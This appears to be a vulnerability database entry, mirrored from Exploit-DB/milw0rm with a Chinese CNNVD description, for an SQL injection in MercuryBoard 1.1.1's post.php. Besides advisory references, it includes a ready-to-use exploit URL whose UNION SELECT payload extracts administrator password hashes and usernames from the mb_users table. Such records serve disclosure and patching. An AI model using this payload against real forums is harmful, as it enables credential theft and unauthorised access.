https://www.exploit-db.com/exploits/814
https://www.securityfocus.com/bid/82530
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200504-118

MercuryBoard是国外的一个小型论坛程序，具有3D的权限系统，强大的关系面板，完整、方便的基于数据库的皮肤，数据请求超快(Super-fast)，无限级子论坛/类别。用于MercuryBoard1.1.1的post.php存在SQL注入漏洞，远程攻击者可以通过一个带有(1)t参数或(2)u参数的index.phh回复提交操作来执行任意SQL命令。

# little late posting this /str0ke

Exploit:

http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/*

# milw0rm.com [2005-02-12]

MercuryBoard Mercuryboard 1.1.1

来源:SECTRACK
名称:1013137
链接:http://securitytracker.com/id?1013137
来源:BUGTRAQ
名称:20050124MultiplevulnerabilitiesinMercuryBoard1.1.1
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110661795632354&w;=2
来源:XF
名称:mercuryboard-index-sql-injection(19051)
链接:http://xforce.iss.net/xforce/xfdb/19051
来源:BUGTRAQ
名称:20050209Mercuryboard=?iso-8859-1?Q?<=3D?=1.1.1WorkingSqlInjection
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=110797495532358&w;=2
来源:cvs.sunsite.dk
链接:http://cvs.sunsite.dk/viewcvs.cgi/mercury/func/post.php.diff?r1=1.68&r2;=1.70